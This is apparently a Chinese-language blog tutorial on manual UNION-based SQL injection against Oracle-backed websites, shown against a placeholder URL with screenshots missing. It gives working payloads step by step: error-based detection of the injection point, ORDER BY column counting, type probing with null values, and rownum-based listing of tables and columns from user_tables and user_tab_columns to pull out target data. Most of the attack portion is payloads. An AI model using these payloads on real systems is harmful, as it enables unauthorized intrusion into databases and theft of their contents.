1. 程式人生 > >oracle資料庫注入實戰

oracle資料庫注入實戰

url:http://xxx.com/ID=1010
1.檢查注入點以及資料庫型別。url後加’
http://xxx.com/ID=1010
這裡寫圖片描述
報錯,可推斷ID為注入點。ORA-xxxxx這種型別為oracle特有報錯方式,所以判斷為資料庫oracle。
2.判斷欄位個數。
url後加’ order by number–
這裡寫圖片描述
到8能正常顯示,故欄位數為8.
3.確定每個欄位型別。
技巧1:dual表和user_tables表是oracle中的系統表。
技巧2:確定欄位型別使用union語句,union操作符用於合併兩個或者多個select語句的字符集
(1)union內部的select語句必須擁有相同的列
(2)列也必須擁有相同的資料型別
(3)每條select語句中的列順序必須相同
null預設匹配所有欄位’null’匹配字元型別
‘union select null,null,null,null,null,null,null,null from user_tables–
這裡寫圖片描述


對每一位判斷是數字型還是字元型,對相判斷的那一位改成’null’,若是字元型則介面返回null;否則是數字型
這裡寫圖片描述
將所有型別判斷出來後,將數字和字元帶入,因為不是每一個型別都是數字和字元型,比如說時間型別等。
這裡寫圖片描述
綜上可以判斷出1,2,7,8為數字,3,4,5為字元,第六位為其他型別:
這裡寫圖片描述
4.顯示union後查詢結果
利用and 1=2 union 1,2,’3’,’4’,5 fromuser_tables
1,2,3,4,5位置對印的是之前查詢各個字串的位置,在union語句新增and 1=2使一句正常查詢無返回結果,此時1,2,3,4,5會對應顯示在現實解密那替換元查詢結果,這樣一來可以大致確定每一個元素的作用,比如欄位1是題目等等。
這裡需提到的思想是,表單裡的每一個欄位都是組成Web頁面的元素之一。
5.獲取表名。
現在知道了有幾個欄位,每個欄位儲存的功能,但是我們仍不知道名字,所以將union後的某一查詢數字替換,替換成table_name,可以得到表名。
6.獲取表的欄位數量
方法是比較判斷查詢。
這裡寫圖片描述

7.查詢目標名稱-欄位名
變換rownum大小獲取自簡訊息,rownum的值是上一步獲取到的欄位數量。
http://xxx.com/ID=1010’ and 1=2 union select 1,2,column_name,’4’,’5’,null,7,1 from (select * from (select column_name from user_tab_columns where table_name=’表名’ order by 1 asc)where rownum <= 3 order by 1 desc) where rownum<=1–
這樣可以得到欄位名,再將其帶入
http://xxx.com/ID=1010
’ and 1=2 union select 1,2,’3’,’4’,’5’,null,7,1 from 資料庫 可以得到目標資料。